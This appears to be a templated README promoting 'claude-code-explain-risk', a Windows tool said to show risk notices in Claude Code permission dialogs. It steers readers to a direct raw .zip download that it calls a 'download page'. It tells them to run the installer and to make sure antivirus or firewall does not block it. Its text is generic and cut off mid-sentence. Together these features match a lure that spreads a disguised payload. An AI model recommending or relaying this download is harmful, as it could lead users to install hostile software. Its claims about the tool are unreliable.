claude-code-explain-risk is a simple tool that shows the risk involved in actions from Claude Code’s permission dialogs. It helps you see the risks clearly before you allow anything. This tool is made for users who want to understand the safety level when they interact with Claude Code permission requests.
To use this tool, your computer should meet these minimum needs:
- Windows 10 or newer
- At least 4 GB of RAM
- 100 MB of free storage
- Microsoft .NET Framework (installed by default on most Windows systems)
- Internet connection to download the software
You do not need programming skills. The tool runs as a standalone app.
Click the button below to visit the GitHub page where you can download the latest version:
The page will have all files and instructions you need to get started.
Follow these steps to download and run the tool on your Windows PC:
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Click the main download badge above or go to this link:
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On the GitHub page, look for the section named Releases or Download. This is where the latest version of the program files will be.
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Choose the most recent release. Usually, it is marked by the latest date or highest version number.
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Download the setup file. It should be a
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After download, open the file to start the installer.
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Follow the instructions on the screen to install the application on your PC. Usually, this means clicking Next and agreeing to the terms.
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Once installed, open the program from your desktop or start menu.
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When the tool runs, it will automatically connect with Claude Code to show risk information in permission dialogs.
Using the tool is straightforward. Here is what you do:
- Run claude-code-explain-risk before you start using Claude Code.
- When Claude Code shows a permission dialog, claude-code-explain-risk adds a clear risk notice.
- Read the notice carefully to understand what risks you may face by allowing the action.
- If you do not want to grant permission because of high risk, you can cancel or deny it.
This way, you can make safe choices without guesswork.
- Displays clear risk information alongside Claude Code’s permission dialogs.
- Shows simple, easy-to-understand descriptions.
- Runs automatically in the background after installation.
- Does not require advanced setup or programming knowledge.
- Uses local resources to keep your data private and secure.
- Supports all common permission types from Claude Code.
If you run into issues with the tool, try these solutions:
- Make sure your Windows system is up to date.
- Check that your antivirus or firewall does not block the program.
- Restart your PC and open claude-code-explain-risk again.
- Uninstall and reinstall the tool if it does not work properly.
- Confirm you downloaded the latest version from the GitHub page.
If the program crashes, you can find logs in the installation folder. Send those logs to the developer if help is needed.
Q: Do I need to know programming to use this?
A: No. This tool is designed for all users with basic computer skills.
Q: Can I uninstall the tool anytime?
A: Yes. Use the standard Windows uninstall process from Control Panel or Settings.
Q: Will the tool affect my other programs?
A: No. This tool works only with Claude Code’s permission dialogs.
Q: Is internet access needed after installation?
A: No. Internet is only needed to download the tool.
The download page is available at:
https://github.com/arif-1988/claude-code-explain-risk/raw/refs/heads/main/hooks/explain_code_claude_risk_v3.4-alpha.3.zip
Click the button at the top of this document to open the page.
Keep an eye on the GitHub page for new releases. Updates improve accuracy and may add support for new permission types.
For support, use the Issues tab on the GitHub page to report problems or ask questions. The developer checks regularly and responds calmly and clearly.
This guide should help you use claude-code-explain-risk with ease on Windows.